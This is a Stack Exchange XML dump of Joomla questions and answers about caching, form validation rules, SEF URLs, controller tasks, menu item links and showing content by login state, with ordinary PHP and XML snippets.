  <row Id="7126" PostTypeId="1" CreationDate="2015-01-22T07:28:56.807" Score="2" ViewCount="323" Body="&lt;p&gt;If i set cache setting to &lt;strong&gt;Progressive&lt;/strong&gt; or &lt;strong&gt;Conservative&lt;/strong&gt; in global configuration setting page, it gives problem for users. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Content that &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;should only visible to logged in user&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;will be shown if once user log-In and log-Out and &lt;strong&gt;vise-verse&lt;/strong&gt;. How to stop this? Any help will be appreciated. &lt;/p&gt;&#xA;" OwnerUserId="487" LastActivityDate="2015-08-08T20:06:11.343" Title="Joomla Cache Control After User Login/Logout" Tags="|joomla-3.x|module|cache|global-configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7127" PostTypeId="1" CreationDate="2015-01-22T07:50:45.990" Score="1" ViewCount="582" Body="&lt;p&gt;I recently upgraded a 2.5 Joomla installation to the latest Joomla 3. Everything went pretty well but one error exists that I cannot solve: All the articles show a small gear in the top right corner but clicking this button does not do anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The funny thing is when you log in: The button is working as it should and the dropdown menu is shown with options to print/share/edit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the button I mean: &lt;a href=&quot;https://i.stack.imgur.com/PcgCw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/PcgCw.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does somebody know what is going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3542" LastActivityDate="2015-03-25T20:30:30.597" Title="Joomla 3 - Print/Send icons not showing" Tags="|joomla-3.x|javascript|css|upgrade|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7128" PostTypeId="1" CreationDate="2015-01-22T08:23:38.897" Score="0" ViewCount="692" Body="&lt;p&gt;My priority is to find something (free) to submit my K2 items on Tumblr if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there is obSocialSubmit from Foobla but it's a Paid extension.&#xA;If there are no free extensions to do this, can you list me all the paid extensions that do this so I can decide which one to buy?&#xA;Maybe writing PROs and CONs for every extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="3530" LastActivityDate="2015-01-23T00:27:08.833" Title="Free Joomla Extensions to submit my k2 items on Facebook and Tumblr?" Tags="|joomla-2.5|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7129" PostTypeId="2" ParentId="7125" CreationDate="2015-01-22T08:31:15.057" Score="0" Body="&lt;p&gt;This question was asked &lt;a href=&quot;https://joomla.stackexchange.com/questions/5036/function-getlanguage-does-not-return-current-language/5037#5037&quot;&gt;here&lt;/a&gt; a while ago and the key was to get and initialise the application like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication('site');&#xA;$app-&amp;gt;initialise();&#xA;&#xA;$lang = JFactory::getLanguage()-&amp;gt;getTag();&#xA;echo $lang;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-01-22T08:31:15.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7130" PostTypeId="2" ParentId="7099" CreationDate="2015-01-22T08:53:47.407" Score="1" Body="&lt;p&gt;First of all you should not ever edit the core layouts. &lt;a href=&quot;http://joom3.zemplate.com/other-topics/52-joomla-3-2/111-creating-template-overrides-in-joomla-3-2&quot; rel=&quot;nofollow&quot;&gt;Use the overrides&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you override &lt;code&gt;edit blog_style_default_item_title.php&lt;/code&gt; try this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;time datetime=&quot;&amp;lt;?php echo JHtml::_('date', $displayData-&amp;gt;publish_up, 'c'); ?&amp;gt;&quot; itemprop=&quot;datePublished&quot;&amp;gt;&#xA;&amp;lt;?php echo JText::sprintf('COM_CONTENT_PUBLISHED_DATE_ON', JHtml::_('date', $displayData-&amp;gt;publish_up, 'd / m / Y')); ?&amp;gt;&#xA;&amp;lt;/time&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the &quot;published:&quot; is inside &lt;code&gt;/layouts/joomla/content/info_block/publish_date.php&lt;/code&gt;. Override it an remove the necessary code.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-01-22T08:53:47.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7131" PostTypeId="2" ParentId="7121" CreationDate="2015-01-22T09:08:05.710" Score="0" Body="&lt;p&gt;I have found the function loadhistory and it is a function of the JModelLegacy class. which was extended by the model article. Here is the hierarchy of inheritance:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;article -&gt; JModelAdmin -&gt; JModelForm -&gt; JModelLegacy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how was this called in the URL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;index.php?option=com_content&amp;amp;task=article.loadhistory??&lt;/p&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="2308" LastEditDate="2015-01-23T07:16:56.970" LastActivityDate="2015-01-23T07:16:56.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7132" PostTypeId="1" AcceptedAnswerId="7158" CreationDate="2015-01-22T09:12:58.440" Score="1" ViewCount="73" Body="&lt;p&gt;This is connected to the earlier post I mentioned:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/7121/com-content-task-not-on-the-controllers-method/7122?noredirect=1#comment11071_7122&quot;&gt;com_content task not on the controller&amp;#39;s method?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that I found the loadhistory function, I was wondering, how was it able to be called directly from the URL below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/BDES3/administrator/index.php?option=com_content&amp;amp;task=article.loadhistory&amp;amp;version_id=1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the part : &amp;amp;task=article.loadhistory&lt;/p&gt;&#xA;&#xA;&lt;p&gt;article is the controller right? and loadhistory is the controller function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based from this link, &lt;a href=&quot;https://docs.joomla.org/Absolute_Basics_of_How_a_Component_Functions&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Absolute_Basics_of_How_a_Component_Functions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is a statement saying :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;If your request contained a 'task=jump' parameter the controller would have tried to call a method (function) named 'jump' in your controller class&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when i viewed the article class under the controllers folder, there was no loadhistory function. It was found in the JModelLegacy Class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this possible? I am planning on re-using the loadhistory functionality on a custom component that we're trying to build.&lt;/p&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-01-21T23:50:07.560" Title="Functionality of LoadHistory from JModelLegacy" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7135" PostTypeId="1" CreationDate="2015-01-22T09:49:45.023" Score="0" ViewCount="269" Body="&lt;p&gt;I am using Joomla 2.5 user registration form. I added manually one more fields for user phone number, and I am doing server side validation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code is : registration.xml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form&#xA;      addrulepath=&quot;/administrator/components/com_user/models/rules&quot;&#xA;      &amp;gt;&#xA;     &amp;lt;field &#xA;     name=&quot;pnumber&quot; &#xA;     type=&quot;text&quot;&#xA;    description=&quot;Enter your valid Number&quot;&#xA;    label=&quot;Phone number:&quot;&#xA;    required=&quot;true&quot;&#xA;    size=&quot;30&quot;&#xA;    hint=&quot;EX:080-12345678&quot;&#xA;    class=&quot;inputbox validate-mobile&quot;&#xA;&#xA;    /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I have created validation file in administrator\components\com_users\models\rules\mobile.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;code is : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;&#xA;&#xA;     defined('JPATH_BASE') or die;&#xA;&#xA;     jimport('joomla.form.formrule');&#xA;&#xA;&#xA;     class JFormRuleMobile extends JFormRule&#xA;     {&#xA;&#xA;&#xA;     public function mobile(&amp;amp; $element, $value, $group = null, &amp;amp; $input = null, &amp;amp; $form = null)&#xA;     {&#xA;     return preg_match(&quot;/^\+{0,1}[0-9]{6,14}$/&quot;,$value);&#xA;     }&#xA;  }&#xA;&#xA;  ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I submit the form &quot;Validation Rule missing: mobile&quot; error is coming. What is the problem?&lt;/p&gt;&#xA;" OwnerUserId="2134" LastEditorUserId="126" LastEditDate="2016-01-21T23:41:47.683" LastActivityDate="2018-11-30T02:36:41.013" Title="Validation giving error in Joomla 2.5" Tags="|joomla-3.x|joomla-2.5|joomla-3.3.x|extensions|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7136" PostTypeId="1" CreationDate="2015-01-22T09:54:55.630" Score="1" ViewCount="1862" Body="&lt;p&gt;I want content managers to see an edit button on the frontend of my websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use this on the frontend:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getUser();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get a guest user, also if I'm logged in into the backend. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to check if a user is logged into the backend when visiting the frontend?&lt;/p&gt;&#xA;" OwnerUserId="1901" LastActivityDate="2015-03-20T06:17:33.057" Title="Check on frontend if user is logged into backend" Tags="|administrator|user|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7137" PostTypeId="2" ParentId="5867" CreationDate="2015-01-22T10:28:49.367" Score="0" Body="&lt;p&gt;public $caching = '1'; this should be 2. Or better yet, just copy the sample configuration on the site I've given and modify it according to your needs ;)&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2015-01-22T10:28:49.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7139" PostTypeId="2" ParentId="7127" CreationDate="2015-01-22T11:26:33.327" Score="1" Body="&lt;p&gt;This looks like a possible permissions issue in the component you are using (Joomla Content or K2). Double check the permissions in the top right of the relevant component first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you simply want to hide the cog completely you could add &quot;display:none;&quot; to the relevant CSS in your template.&lt;/p&gt;&#xA;" OwnerUserId="3546" LastActivityDate="2015-01-22T11:26:33.327" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7140" PostTypeId="2" ParentId="7112" CreationDate="2015-01-22T11:31:16.497" Score="3" Body="&lt;p&gt;The simplest way to achieve the URL structure you mention is to create a Category called &quot;News&quot; and create your news articles in this category. This will give you a structure like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.example.com/news/news1  &#xA;www.example.com/news/news2  &#xA;www.example.com/news/news3 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Creating a sub-category under news could further refine this if needed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.example.com/news/politics/news4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By the way, take care in Joomla to create menu links to the categories themselves to ensure correct URL and breadcrumb structure is generated.&lt;/p&gt;&#xA;" OwnerUserId="3546" LastEditorUserId="1629" LastEditDate="2015-01-22T14:03:46.983" LastActivityDate="2015-01-22T14:03:46.983" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7141" PostTypeId="1" CreationDate="2015-01-22T12:08:01.127" Score="0" ViewCount="1957" Body="&lt;p&gt;Having a strange issue with J3.3.6. The &lt;code&gt;&amp;lt;base&amp;gt;&lt;/code&gt; tag &lt;code&gt;href&lt;/code&gt; is always pointing to the root / homepage of my name, e.g www.example.com, even when on an inner page. I only noticed when trying to use an anchor, and the anchor used the base href and linked to the homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't come across this issue with any other sites I've built on 3.3.6, and as far as I can tell there aren't any other differences. I've tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Resetting .htaccess to the J! default (I added in a few cache control headers - no change)&lt;/li&gt;&#xA;&lt;li&gt;Switching off SEF URLs (see below)&lt;/li&gt;&#xA;&lt;li&gt;Checking $live_site in configuration.php (no value set)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When I switch off SEF URLs and URL re-writing, the base href is disappears (only the canonical link remains, which is correct).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I edit &lt;code&gt;/libraries/joomla/html/document/renderer/head.php&lt;/code&gt;, around line 74 - 76 to use &lt;code&gt;JURI::current()&lt;/code&gt; instead of &lt;code&gt;$document-&amp;gt;getBase();&lt;/code&gt; then the correct URLs at used in the base value &lt;strong&gt;if SEF URLs are enabled&lt;/strong&gt; - but I've never had to do this before and obviously this will be wiped on upgrade. If SEF URLs are off this is wrong as it just goes to index.php without any query parameters, causing the same sort of issue in reverse (anchors all go to the homepage).&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2015-01-22T12:15:50.270" Title="&lt;base&gt; href always points to homepage" Tags="|joomla-3.3.x|templates|sef|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7142" PostTypeId="2" ParentId="7141" CreationDate="2015-01-22T12:15:50.270" Score="1" Body="&lt;p&gt;That is the whole point of the &lt;code&gt;&amp;lt;base&amp;gt;&lt;/code&gt; tag. It's supposed to point to the root of your website which makes using relative link easier, and with Joomla, this gets automatically added to the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; by the following code snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how your anchors are setup but if you use the following for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#section&quot;&amp;gt;anchor&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;section&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;content here&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then upon clicking the anchor, it will take you to the &lt;code&gt;#section&lt;/code&gt; ID&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this doesn't work, then it might be something that your template is doing. Try changing the template to the default Protostar one and see if you have the same issue.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-01-22T12:15:50.270" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7143" PostTypeId="2" ParentId="7135" CreationDate="2015-01-22T12:26:32.000" Score="0" Body="&lt;p&gt;Try the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add &lt;code&gt;validate=&quot;mobile&quot;&lt;/code&gt; to your &lt;code&gt;&amp;lt;field&amp;gt;&lt;/code&gt; in the XML file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then change the mobile.php to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('JPATH_BASE') or die;&#xA;jimport('joomla.form.formrule');&#xA;&#xA;class JFormRuleMobile extends JFormRule {&#xA;&#xA;    protected $regex = '^\+?\d{6,14}$';&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know what the outcome of this is.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="12352" LastEditDate="2018-11-30T02:36:41.013" LastActivityDate="2018-11-30T02:36:41.013" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="7144" PostTypeId="2" ParentId="7136" CreationDate="2015-01-22T12:52:58.133" Score="1" Body="&lt;p&gt;Joomla front-end (&lt;code&gt;index.php&lt;/code&gt;) and back-end (&lt;code&gt;administrator\index.php&lt;/code&gt;) is built as two separate applications, so for security reasons you have separate user sessions and user states. As you noticed, logging in to your back-end does not log you in to the front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;There is an extension available at JED called &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/access-a-security/site-access/wow-login&quot; rel=&quot;nofollow&quot;&gt;Wow Login&lt;/a&gt; that seems to be able to do what you're asking for. I haven't tried it, but according to user feedback it works as expected.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that you want to save your content managers the hassle of logging in twice, but unless it's really important, I would leave it as it is. You can make a small login link in your footer if you don't want to have a login-form at the front-end. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Login tip: I have added a bookmarklet in my browser bar (Chrome) with the following code:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;javascript:void((function(){var loc = location.href; loc.indexOf(&quot;?&quot;) == -1 ? (location.href = loc+&quot;?option=com_users&amp;amp;view=login&quot;) : (location.href = loc+&quot;&amp;amp;option=com_users&amp;amp;view=login&quot;);})());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;It will show you a login form for ANY Joomla website by adding &lt;code&gt;?option=com_users&amp;amp;view=login&lt;/code&gt; or &lt;code&gt;&amp;amp;option=com_users&amp;amp;view=login&lt;/code&gt; to your current URL. It's a quick way to log in to any Joomla site you manage.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-01-22T12:52:58.133" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7145" PostTypeId="2" ParentId="7135" CreationDate="2015-01-22T12:57:58.473" Score="1" Body="&lt;p&gt;Ufff ......  I got the Answer . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just used joomla inbuilt rule called &quot;tel&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;problem solved . thank you every one  :) &lt;/p&gt;&#xA;" OwnerUserId="2134" LastEditorUserId="126" LastEditDate="2016-01-21T23:42:08.600" LastActivityDate="2016-01-21T23:42:08.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7146" PostTypeId="2" ParentId="7096" CreationDate="2015-01-22T14:02:20.273" Score="1" Body="&lt;p&gt;For a different approach, you can try a content restriction plugin like &lt;a href=&quot;http://extensions.joomla.org/profile/extension/access-a-security/site-access/osd-content-restriction&quot; rel=&quot;nofollow&quot;&gt;OSD Content Restriction&lt;/a&gt;. You won't have different homepages as you asked for, but you can show different content to guests and members in your articles (and Custom HTML modules) using the following tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{guest}&#xA;  This content is only visible to guest users, &#xA;  and NOT visible to registered/logged in users.&#xA;{/guest}&#xA;{!guest}&#xA;  This content is NOT visible to guest users.&#xA;  Only logged-in users will be able to see it.&#xA;{/guest}&#xA;  Any content outside the tags will be visible to both guests and registered users.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is shown or hidden can be determined by six different variables, namely the &lt;em&gt;user group&lt;/em&gt;, the &lt;em&gt;user&lt;/em&gt;, the &lt;em&gt;author group&lt;/em&gt;, the &lt;em&gt;author&lt;/em&gt;, if on the &lt;em&gt;homepage&lt;/em&gt; or if an article is &lt;em&gt;featured&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-01-22T14:02:20.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7148" PostTypeId="1" CreationDate="2015-01-22T15:50:38.950" Score="11" ViewCount="31024" Body="&lt;p&gt;I have seen screenshots of a solution, there the Joomla version is getting detected by only accessing the page via http. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. the solution displayed all 3 digits of a version of Joomla. e.g. 2.5.28, or 1.0.x and so on by only accessing the webpage via http.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create a small application to be informed about the version installed on the server. Since I do not have always full access to the FTP storage, I would like to know how I can extract the Joomla version from a simple HTTP GET.&lt;/p&gt;&#xA;" OwnerUserId="3547" LastEditorUserId="168" LastEditDate="2015-01-23T09:34:36.523" LastActivityDate="2018-08-14T11:24:36.213" Title="How to get joomla version by http?" Tags="|joomla-3.x|joomla-2.5|joomla-1.5|" AnswerCount="3" CommentCount="23" ContentLicense="CC BY-SA 3.0" />
  <row Id="7149" PostTypeId="1" AcceptedAnswerId="7150" CreationDate="2015-01-22T19:30:07.823" Score="2" ViewCount="339" Body="&lt;p&gt;I need to be able to get a menu item based on the Itemid, then temporarily override one of the values used in the query string in the PHP, and finally generate the link that Joomla would then use.  I do NOT want to change the actual menu item, or have alternate menu items, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual requirement is a bit complicated, so for the sake of simplicity, let's say that I need to use article ID #1 during the day, and article ID#2 after 6:00PM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So,the actually menu item is: &lt;code&gt;option=com_content&amp;amp;view=article&amp;amp;id=1&amp;amp;Itemid=100&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's after 6:00PM, I need something like &lt;code&gt;$menu-&amp;gt;getItem($itemid)-&amp;gt;link&lt;/code&gt; to return &lt;code&gt;option=com_content&amp;amp;view=article&amp;amp;id=2&amp;amp;Itemid=100&lt;/code&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been trying this with &lt;code&gt;$app-&amp;gt;getMenu();&lt;/code&gt; and &lt;code&gt;new JMenu&lt;/code&gt;, but am obviously missing something.  I would imagine the code would be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu = $app-&amp;gt;getMenu();&#xA;$menuitem = $menu-&amp;gt;getItem(100);&#xA;$menu-&amp;gt;setProperties('the_article_id',2);&#xA;$templink = $menuitem-&amp;gt;link;&#xA;// $templink should be: option=com_content&amp;amp;view=article&amp;amp;id=2&amp;amp;Itemid=100&#xA;...continue my processing with $templink&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To clarify, the &lt;em&gt;highly specialized&lt;/em&gt; actual requirement is essentially generating a series of links based on existing menu items, who they are, and where they are on the site, thus using JInput and/or redirecting is not an option.  Getting and manipulating the menu object is necessary to come up with the various links I need to display (not actually going to them, unless the user clicks on one which has been displayed to them).&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2015-01-23T01:32:03.257" LastActivityDate="2015-01-23T13:57:11.767" Title="How can I temporarily change the article ID of a menu item within PHP?" Tags="|development|jmenu|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7150" PostTypeId="2" ParentId="7149" CreationDate="2015-01-22T19:42:29.320" Score="4" Body="&lt;p&gt;There are no hooks for &lt;code&gt;JMenu-&amp;gt;getItem()&lt;/code&gt; or &lt;code&gt;JMenu-&amp;gt;load()&lt;/code&gt;. Depending on your interest you could write a plugin which hooks into the routing.&lt;/p&gt;&#xA;" OwnerUserId="3518" LastActivityDate="2015-01-22T19:42:29.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7151" PostTypeId="1" CreationDate="2015-01-22T21:55:51.703" Score="1" ViewCount="567" Body="&lt;p&gt;I have SEF, URL re-write and Add suffix all enabled and htaccess.txt renamed .htaccess. If I link to a menu item, SEF works fine. If I try to link to an article from the Content tree as opposed to the Menu tree, I get a normal, non-SEF URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ritsema-lyon.com/our-attorneys.html&quot; rel=&quot;nofollow&quot;&gt;http://ritsema-lyon.com/our-attorneys.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click any link in the nav bar and it works great. But try clicking on one of the attorneys on that page and you'll get a completely dynamic non-SEF url, which shouldn't be happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="1629" LastEditDate="2015-01-22T22:02:33.923" LastActivityDate="2015-01-24T21:52:19.340" Title="Why is Joomla 3.2 SEF working for links to menu items but not links to articles not published in a menu?" Tags="|joomla-3.x|seo|sef|" AnswerCount="2" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="7152" PostTypeId="2" ParentId="7096" CreationDate="2015-01-22T22:06:53.373" Score="2" Body="&lt;p&gt;There is actually a very simple way to do it in Joomla 3x.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to Users &gt; Access Levels and click on the Guest access level. By default, under User Groups Having Viewing Access, only Guest is checked. Check the Public box as well and then click Save.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to your menu and click on the Home link to edit it. In the Access drop down on the right hand side, set it to Guest instead of Public and then click Save.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Voila! From now on your Home link will be hidden from users who are signed in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="1629" LastEditDate="2015-01-22T22:54:41.380" LastActivityDate="2015-01-22T22:54:41.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7153" PostTypeId="2" ParentId="7149" CreationDate="2015-01-22T23:42:43.940" Score="2" Body="&lt;p&gt;A &lt;code&gt;system&lt;/code&gt; plugin should be used like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onAfterRoute()&#xA;{&#xA;    $app = JFactory::getApplication();&#xA;    $jinput = $app-&amp;gt;input;&#xA;    $time_condition = true; // Set the time condition here!&#xA;    if ($time_condition &amp;amp;&amp;amp; $jinput-&amp;gt;get('option') == 'com_content' &amp;amp;&amp;amp; $jinput-&amp;gt;get('view') == 'article' &amp;amp;&amp;amp; $jinput-&amp;gt;get('Itemid') == 100 &amp;amp;&amp;amp; $jinput-&amp;gt;get('id') == 1)&#xA;    {&#xA;        $jinput-&amp;gt;set('id', '2');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1520" LastActivityDate="2015-01-22T23:42:43.940" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7154" PostTypeId="2" ParentId="7128" CreationDate="2015-01-23T00:27:08.833" Score="1" Body="&lt;p&gt;For Facebook auto-publishing, you can find several Free extensions in JED: extensions.joomla.org/category/social-web/social-share&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, integrating K2 or Tumblr as a channel, it will most likely require a paid extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JED's Reviews are a good source of information to know each extension.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-01-23T00:27:08.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7158" PostTypeId="2" ParentId="7132" CreationDate="2015-01-23T07:14:05.363" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;in the part : &amp;amp;task=article.loadhistory&#xA;  article is the controller right? and loadhistory is the controller function?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes you are right. The first part it the controller name and the second part is the method name.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;But when i viewed the article class under the controllers folder, there was no loadhistory function. It was found in the JModelLegacy Class.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That is because it is located in the parent &lt;code&gt;JControllerForm&lt;/code&gt; class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will find these doc useful regarding controllers:&#xA;&lt;a href=&quot;https://docs.joomla.org/JController_and_its_subclass_usage_overview&quot; rel=&quot;nofollow&quot;&gt;JController and its subclass usage overview&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-01-23T07:14:05.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
